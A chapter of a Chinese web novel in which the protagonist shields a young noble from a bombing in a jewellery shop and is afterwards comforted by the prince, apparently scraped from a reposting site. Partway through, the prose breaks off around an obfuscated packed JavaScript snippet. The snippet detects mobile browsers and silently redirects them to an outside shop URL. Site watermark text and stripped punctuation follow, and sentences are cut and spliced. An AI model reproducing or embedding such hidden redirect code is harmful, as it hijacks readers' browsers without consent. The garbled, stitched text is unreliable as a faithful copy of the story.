睡梦中,似乎听到白鹤知在骂人。
楚召淮翻了个身,在梦中想了一夜要扛着一麻袋银子给外祖父买什么,翌日一早头昏脑涨,全是银子。
往常攒钱半年买个不值钱的小东西当贺礼,还会被白家人讥讽,如今他已不缺吃穿,银两更是大把大把地花不完,定要买个极其贵重的。
到时一鸣惊人,给外祖父长脸。
昨日白鹤知施针有效,今日楚召淮并未太过困倦,身上的伤也好了不少,起码能正常走路。
从小矮柜中拿出一把银票,估摸着得有一千两。
白神医决定豪横一把,出府挑选礼物。
姬恂出城去了猎场安排春猎事宜,府中听说楚召淮要出府,顿时有些兵荒马乱。
赵伯小心翼翼道:“王妃今日就要出门?不多休息几日?
楚召淮身子都要躺生锈了,虽腰腿还有些难受,但不至于连个门都出不了。
见赵伯这副模样,他也没为难,体贴地道:“如果王爷吩咐我不能出门,那我就等一等。
“那倒不是。赵伯忙道,“只是最近京中不太平,王妃出门最好带上暗卫。
楚召淮点头。
赵伯想了想,将今日国子监放假的正在院中呼呼大睡的姬翊喊起来,陪王妃买东西。
姬翊困得要命,但还是打着哈欠过来了。
赵伯安排了十几个暗卫跟随,犹豫半晌觉得不保险,又把周患叫来保护王妃。
周患武艺一打百不成问题,保护王妃逛个铺子绰绰有余。
见姬翊眼皮都在打架,楚召淮担忧道:“你既然困了就回去睡觉吧,我自己去。
“没事,反正我今日也约好了去黄鹄阁买点东西,顺路而已。姬翊伸了个懒腰,拍了拍脸强行清醒,“况且你这副模样一瞧就是个人傻钱多的贵公子,那些人看菜下碟,破烂玩意儿多收你几百两都算那黑心店主有良心,本世子对整个京城的铺子了如指掌,跟着我准不会被坑。
楚召淮闻言忙抱紧可靠的犬子。
姬翊嗅了嗅:“你身上怎么一股我爹的味道?
楚召淮疑惑道:“什么?
“我爹衣裳熏香只爱一个味道。姬翊挑眉看他,“你俩不是分房睡吗?
楚召淮莫名心虚,总不能说自己把他爹睡了吧,这话说出口,犬子能满脸爆红哭嚎着从京城跑回晋凌去。
“可能蹭到了吧——哎哎,你说一千两银子能买到什么贵重的礼物啊?”
姬翊被成功转移话题:“送给谁的?”
“我外祖父,下个月是他八十岁寿诞。”
“嚯,八十岁,那可是高寿啊。”姬翊脑子转得飞快,“我记得黄鹄阁刚好有个纯金制作的寿星公南极仙翁的摆件金器,精致华美,寓意也好。”
楚召淮歪了歪头:“纯金的?”
那一千两银子似乎不太够。
赵伯已安排好了马车,姬翊一把揪住要回去拿银票的楚召淮:“咱们璟王府买东西还需要银子吗?”
楚召淮诧异看他:“要仗势欺人,强取豪夺吗?”
这事儿他没做过。
“你脑子在想什么?”姬翊差点被逗笑了,“黄鹄阁的老板和本世子是旧相识,咱们拿了东西直接记账便是,我爹会付的。”
楚召淮吃了一惊:“还可以这样?”
姬翊将他拽上马车:“少废话,快来。”
楚召淮眉头紧皱,踩着马凳被拽上去。
赵伯心疼得要命,扶着他想说又不敢说,只能轻轻劝道:“世子,王妃身子不好,你……你慢些。”
姬翊敷衍道:“知道了知道了,王妃金贵……噫,磕到腿了?怎么如此不小心。”
赵伯:“……”
还没出门便已开始担忧了。
马车一路晃晃悠悠去了黄鹄阁。
这几个月楚召淮见过不少世面,已不再像刚来京城时那般土包子一个见什么都在心里九曲十八弯地“哇”个不停。
黄鹄阁金碧辉煌人来人往,楚召淮腿还发着酸,艰难扶着姬翊的手下了马车,周围人的视线似有若无地飘来。
楚召淮不太适应这种视线,下意识垂下头。
姬翊却是视线一扫,狂妄道:“看什么看,没见过大美人吗?再看把你们眼睛挖出来!”
众人:“……”
楚召淮没体验过仗势欺人,总觉得很难为情,赶紧拽着姬翊进去了。
姬翊吊儿郎当地走进去,熟悉他的小厮见状赶忙将老板请来。
一掷千金的贵客又来了。
楚召淮视线在四周摆放的物件扫了一圈,觉得每样东西都精致极了,一看便价值不菲。
“你脸色好像比上次见又白了许多?姬翊懒懒撑着手,端详他的脸,“我这段时间一直忙着,都没瞧见过你,昨日好像太医院来人了,你又病了吗?
楚召淮咳了声:“没怎么病,就是没休息好。
“你这身子……我都不稀得说。姬翊左右看了看,随手拿过来个绿如意抛了抛,“这个不错,拿回去放置在床头供着,护你健康如意。
楚召淮唯恐他摔坏了,赶忙夺下来:“别乱碰,弄坏了咱得赔钱。
姬翊一见他贪财的小模样就觉得可乐,支着下颌笑嘻嘻道:“我都担心你什么时候被旁人一个钱串子就给哄回家去了,要不你还是别和我爹和离了,一直待在王府吧。
楚召淮一愣。
“王府多好啊。姬翊拿了个茶饼塞到他嘴里,和他一一细数王府的好处,“吃穿不愁,不用为银钱之事烦忧,还能仗势欺人,别提多舒坦了。
楚召淮咬了口饼,陷入了沉思。
姬翊喝了口茶,见老板还没来,直接嚷嚷道:“本世子要的纯金寿星公呢,你们不想做生意了?
小厮忙不迭跑过来:“世子殿下息怒,老板这就……
这时,一个熟悉的声音打断他的话:“世子晚到一步啊,黄鹄阁的寿星公已被提前定下了。
姬翊眉头一挑,顺势看去,直接勾唇笑了:“哟,本世子当是谁呢,原来是我们王妃的手下败将啊。
楚召淮回过神来,啃了口饼好奇地看过去。
三皇子满脸苍白的被人拥着进来。
之前被姬恂吓得大病一场,好多日才终于下床,脸上病色未散,瞧着步伐艰难,已没了之前从容淡然的端庄模样。
姬翊知晓这人被他爹吓得屁滚尿流之事,也无意去维持平和的假面,反正撕破脸了,谁也别纵着谁。
“晚到一步?银子还分先来后到吗?姬翊跟着姬恂浸淫多年,一旦认真吵从来不落下风,“去年画舫上,三殿下输给我们王妃好几千两银子,今日这寿星公摆件就是用殿下的银子买的。
三殿下猛烈咳了几声,冷冷道
:“这是我要给父皇的生辰贺礼世子这也敢抢?想必是皇叔给你的胆子吧。”
“说就说,怎么总是扯我爹呢,还是想想自己的爹吧。”姬翊交叠着双腿,吊儿郎当给楚召淮倒了杯热茶,随意道,“圣上生辰何时来着?连我这个世子都记得在九月,三殿下竟然没记清吗?”
三皇子:“你……咳咳!”
楚召淮也咳了声,差点被点心渣子呛到。
这种大不敬的话是可以说的吗?
姬翊还在那和三皇子大战三百回合,似乎隐隐胜利了,劈手将左右为难的老板手中的寿星公夺过来。
“这个寿星公和绿如意本世子都要了,再来个翡翠平安扣——是护国寺开光的是吧?本世子要两个!”
三皇子满脸厌恶:“再多的平安扣也护不住你,等春猎一过……”
世间便再无璟王府。
姬翊还在挑衅:“什么?说话大点声,三殿下病了一场,好像虚了不少啊。”
“你!”
楚召淮无意掺和,吃完茶饼喝茶,又让小厮在战火重重中送来一碟糕点,边吃边看。
刚吃了一块,到嘴的味道似乎不太对。
楚召淮常年尝药,味觉很灵敏——除了吃自己做的菜的时候,轻轻用舌尖抿了抿糕点,甜腻软糯。
并不是糕点的味道。
姬翊已经要和三皇子那边的人打起来了,楚召淮疑惑地嗅了半天,终于在碗碟边缘找到那股奇特的味道。
似乎是焰火绽放后残留的味道,有些刺鼻。
楚召淮不明所以,抬头看向方才给他端糕点的小厮。
小厮身强力壮,正站在姬翊不远处,一身灰扑扑的袍子似乎鼓鼓囊囊藏着什么东西。
大白日的,怎么会有焰火味?
楚召淮正疑惑着,眼尖地发觉那人袖中火光倏地一闪。
方才那股味道更加浓厚。
比焰火还要重的是……
火药?
楚召淮浑身一激灵,他一向对未知的危险极其敏感,眼皮狂跳,心口也前所未有地疯狂跳动,几乎要从心口蹦出来。
电光石火间他来不及多想,霍然起身,拼命朝着姬翊的方向奔过去。
“姬翊!”
姬翊正骂得起劲
,疑惑地回头看:“怎么了?慢点跑,别摔……唔!”
楚召淮已至近前,猛地扑到他身上。
下一瞬,就听到一阵惊天动地的剧烈声响。
残肢伴随着血焰火似的从天而降,轰然一声将黄鹄阁炸塌数扇门。
街道安静一瞬,随后爆发出惊天动地的惨叫声。
尸身废墟,金碧辉煌的黄鹄阁冒着烟雾,四周百姓四处逃窜。
刚到手的翡翠平安扣“咔哒”一声落在地上,碎成齑粉。
****
姬恂收到消息后,快马加鞭从城外回府。
京城长街之上,富贵人家经常去的黄鹄阁有人带着火药轰然炸了,当时人群正是聚集时,骤然被波及躲闪不及,死伤数人。
据说连三皇子好像也被炸伤了。
天子脚下,死士带火药行刺,这事儿闹得太大,还牵扯到三皇子,刑部和大理寺已派人全城严查,不知会是何种结果。
纵马直接冲入王府中,姬恂翻身下马,一向稳如磐石的大掌在微微发着抖。
赵伯老泪纵横地迎上来:“王爷终于回来了!”
姬恂神情冷静至极,脚步却是前所未有的急促,冷声道:“他们怎么样?”
“并未受重伤。”赵伯赶忙说,“周患来得及时,他们只是受了些轻伤,就是周患如今伤得厉害,王妃正在为他包扎。”
姬恂的心仍然高高悬着。
一问一答的功夫,姬恂已快步冲入寝房中,扑面而来一股浓烈的血腥味。
姬翊被炸得满脸黢黑,额角破了个口子,血痕滑落脸颊已干涸,眼泪流得比血多,哆哆嗦嗦道:“周患哥……不、不会有事吧?”
长随看他吓坏了,忙安抚他:“不会的,神医妙手回春,定能救回他。”
姬翊还是呆呆的,恰好瞧见姬恂过来,眼睛一眨,又是两行泪下来。
今日是他带楚召淮出去黄鹄阁这才导致出了事,姬恂一向对他严苛,许是会狠狠将他打一顿。
周患伤成那样,姬翊身上还残留着那狰狞的血,他前所未有地懊悔,巴不得爹扇他一巴掌,好让他心里舒坦些。
姬恂快步而来。
姬翊踉跄着站起来,准备迎接父爱的耳光。
忽然,一双
手缓缓抚摸在他的额头上。
姬翊一愣茫然看去。
姬恂仍是寻常处变不惊的模样可却能感觉到抚摸在自己额头上的手正在微微发着抖。
姬翊愣了愣:“爹?”
姬恂深深吐出一口气失控只是刹那便收敛了:“没事就好。”
姬翊呆愣半晌泪水在眼眶中打着圈的转突然再也忍不住彻底将心中的慌乱爆发出来呜咽着道:“爹!都怪我都是我的错……我不该带召淮去黄鹄阁更不该和三皇子置气在那耽搁这么久的时间对不起爹……周患哥伤得好重都是因为我。”
姬恂又抚摸了下姬翊的额头语调轻缓沉稳好似定海神针一般让姬翊有了主心骨。
“哭吧世子的眼泪比神仙灵药还要厉害哭一哭就能时光倒流重回半天前救回周患。”
姬翊:“……”
姬翊被这熟悉的刻薄怼得一噎不敢再哭了。
安慰好姬翊姬恂又快步走进寝房里。
周患正躺在软塌上半张脸上全是血手臂和后背也布满伤痕好在他动作极快抱着两人压低身体否则离这么近肯定会被炸得血肉模糊。
楚召淮坐在一边明明浑身是血却沉着脸手臂极稳地为周患处理伤口面上瞧不出丝毫的受惊和后怕。
“周患和我说句话别睡觉”
周患“哦”了声意识还清醒着只是呼吸有些弱倒是爱凑热闹:“我一直很想知道
楚召淮:“……”
让你说话没让你哪壶不开提哪壶?
姬恂进来时楚召淮刚好将伤口上了药包扎好正要端着满是血的水往外送一转身就瞧见站在门口的姬恂。
楚召淮微微一愣。
自从在黄鹄阁遇刺周患重伤姬翊懊恼自责楚召淮却前所未有的沉稳吩咐人将周患抬回马车上一边往回赶一边为他清理伤口中的脏污。
之后回府扎针吊住周患的命再接着飞快上药包扎楚召淮好像不知道慌乱是什么扎针时手纹丝不动。
耳朵似乎被那声惊天动地的爆炸给炸懵了所有人说话声像是隔了好几道墙闷闷得并不真切。
一切好像都没有真
实感,宛如做梦一般。
直到姬恂出现。
那根被他凭空树在胸口的定海神针轰然倒塌,声音和触感铺天盖地的瞬间回笼。
爆炸声,血腥味,以及眼前活生生的人瞬间炸得血肉模糊的残肢断臂……
“砰的一声。
水盆轰然落地,楚召淮眼瞳睁大,忽然浑身一软,双膝踉跄着跪在地上吐了出来。
姬恂一惊,快步上前扶住他:“召淮!
楚召淮嗓子似乎有血堵着,他艰难拂开姬恂的手,边咳边道:“别碰我,脏……去看看周患。
姬恂并不嫌弃,将人半抱在怀中扶起。
周患冲姬恂露出个清澈的笑,示意没事。
他体格本就比寻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984222|124973||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
常人健壮,否则但凡换了旁人,恐怕熬不过来。
殷重山晚了姬恂一步,匆匆破门而入,先将姬翊从头摸到脚确定他没缺胳膊少腿,又冲到里间看到躺在榻上半死不活的周患,惊恐道:“周患……去了?
周患趴在榻上比了个手势,脸色已没有之前泛着死气的白:“勉强还活着呢,再炸一次也无妨。
殷重山:“……
隔壁暖阁中,姬恂沉着脸为他把衣服换下,又拿湿帕子擦了脏兮兮的脸和手。
明明炭盆放置三个,温暖得额角出汗,楚召淮却仍然浑身发抖,瞳孔剧烈晃着,像是受到惊吓的猫。
姬恂坐在床沿为他擦汗,温声道:“没事了。
楚召淮牙齿打颤,胸腔一阵阵的后怕完全无法控制,脸色比周患的还要煞白,只要一闭眼就是活生生的人被炸得血肉模糊残肢乱飞的场景。
那血和残肢似乎落在他头发上,忍不住又扶着床沿干呕起来,却吐不出什么,胃针扎似的刺痛。
姬恂心几乎缩成一团,只能一遍遍地安抚他。
楚召淮恹恹躺在榻上艰难喘息,好一会喃喃道:“剪刀……
姬恂并未多问,将一把小剪刀拿过来:“想剪什么?
“头发……
他已顾不得擅自剪发会短寿夭折这种话,只觉得似乎有人的手在顺着他的头发缓缓往上攀爬。
姬恂并未拒绝,垂着眼将楚召淮过长的发撩起,
拿起剪刀轻轻一碰。
咔哒一声。
楚召淮抖了抖。
姬恂道:“青丝斩断百病消。”
剪刀再次剪下一绺。
“剃发开财中状元。”
楚召淮呆呆看着姬恂,反应许久才意识到这是寻常人家剪发时,长辈会念叨的消灾吉祥话。
从未有人对他这样说过。
姬恂动作很快,将楚召淮的发修剪到及腰。
见他呆怔着注视着自己,姬恂轻笑了声,缓缓伸手将人抱在怀中。
温暖从四面八方席卷而来,楚召淮几乎本能地拽着他的衣襟往他怀中钻,好像寻到了能遮风挡雨的港湾。
姬恂身形高大,上了榻将外袍脱下裹在楚召淮单薄的后背,双臂一紧将人整个抱在怀中。
这个姿势极具安全感,好像所有妖魔鬼怪都被挡在外面,头发上诡异的触感消失殆尽,温暖侵入四肢百骸。
楚召淮眼瞳睁大,一直紧绷着发抖的身子终于缓缓放松下来,几乎瘫成一汪水。
姬恂抱着他轻轻拍着后背,声音轻柔:“不怕了。”
楚召淮叼着姬恂的衣带,拼命压抑喉中的哽咽,听到这声简单至极的话,不知怎么忽然忍不住,终于浑身发抖地小声哭了出来。
姬恂手一颤。
楚召淮年纪小,一心只想着治病救人,秉性纯澈又无害,去年新婚夜见到尸身直接吓晕,更不要说此次断臂残肢这种血腥的场面。
姬翊虽比他小个一两岁,在京城也因他之故遭遇无数次刺杀。
即便如此,他也几乎吓呆了。
何况楚召淮。
姬恂心脏似乎被一只手狠狠揉成一团,钝痛和刺痛一齐袭来,呼吸都在颤抖。
白鹤知说楚召淮需要静养,今日他只是不在一日,便受到如此大的惊吓。
楚召淮从不会放任自己情绪失控太久,只露出几声哭音便强行忍回去,声音还在抖着,含糊着道:“我、我不该任性,非要今日出门的,对不起……”
姬恂将他抱得更紧,声音放得极其轻柔:“不怪你,最近这段时日府中也有过死士刺杀,并非是你的缘故。”
况且用死士带着火药在闹市接点燃,根本无人会想到这样癫狂之事,就算暗卫反应再
快也无法提前防御。
据回来的暗卫所说姬翊本来也打算今日去黄鹄阁这次暗杀便是冲着他来的而且若不是楚召淮敏锐千钧一发之际护住姬翊恐怕世子早已尸骨无存。
楚召淮受了巨大的惊吓几近心力交瘁只说了几句便闭上了眼口中一直叼着的衣带缓缓落了下去。
姬恂:“召淮?召淮!”
似乎失去意识了。
姬恂心中一紧正要开口喊赵伯就听到外面白鹤知的声音。
白鹤知满脸惊慌几乎是狂奔而来肩上的小药箱盖子都没盖紧随着一路颠簸里头的瓶瓶罐罐一个不剩。
慌忙进来时被门槛绊了一跤白院使一条腿猝不及防砰的跪在地上被殷重山手疾眼快一把扶住否则两条腿的膝盖都得撞碎。
白鹤知像不知疼似的上气不接下气地艰难道:“召淮……召淮怎么样?”
殷重山赶忙道:“没受伤就是受了惊王爷担忧王妃心疾会犯这才请您来一趟放心放心一点伤没受。”
白鹤知重重呼出一口颤抖的气息拖着一条瘸腿跌跌撞撞冲了进去。
良久姬恂从暖阁出来垂在袖中的指尖还在微弱的发颤。
姬翊刚和殷重山一起将周患扶回房里眼圈哭得通红见状赶紧擦干眼泪追问道:“召淮心疾怎么样了?”
若不是楚召淮反应快如今他怕是已在阎罗殿了。
姬恂并未回答抚摸着垂曳而下的衣带漠然道:“让长随去国子监寻祭酒让他为你准假一月。”
姬翊一愣。
为何无缘无故就放假?
他虽然期盼假期却对无缘无故就得到的馅饼感觉到畏惧唯恐里面有钩子。
“过几日召淮恢复好你同他去护国寺住一段时日。”姬恂眼底带着冰冷的戾气
说</a>更新,记住域名qiexs.com?(请来企鹅小
说
看最新章节
完整章节)抬眸注视院中逐渐阴沉下来的天幕。
朔风遍布即将开春却要下雪了。
“……等春猎过后局势安定我再派人接你们回府。”
作者有话要说
突如其来的加更感谢支持这章掉落200个小红包呀爱你们。
***
感谢在2024-07-2021:15:00~2024-07-2103:07:01期间为我投出霸王票或灌溉营养液的小天使哦~
感谢投出地雷的小天使:就喜欢傲娇、拾十年的影、眷风不知绝、陵有峤兮1个;
感谢灌溉营养液的小天使:小粉30瓶;季雨时28瓶;苏绾宁耶~17瓶;北执12瓶;启明星的宁静、极东区总长副官一线吃10瓶;Y.6瓶;红脸狒狒蓝皮谷、辛小貓、牧羊、星夜5瓶;鹊辞魇、林以战、寻找舒适圈、今山禹迹、晚上吃蛋黄2瓶;木木无声、半糖仲夏夜、大七是只猫、54949833、生命线、深的深、白鸠、寒雨连江、汐云??·??·??*???、毛茸茸的汪汪、寐善、Rosa、开开心心每一天、zx123、東枝、twelve、猪咪的粮呢、艾白、青委、喻遥、69649237、早起大王、lilolix、星星、木樨味儿的七七子、今天也想早睡觉1瓶;
非常感谢大家对我的支持我会继续努力的!
恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的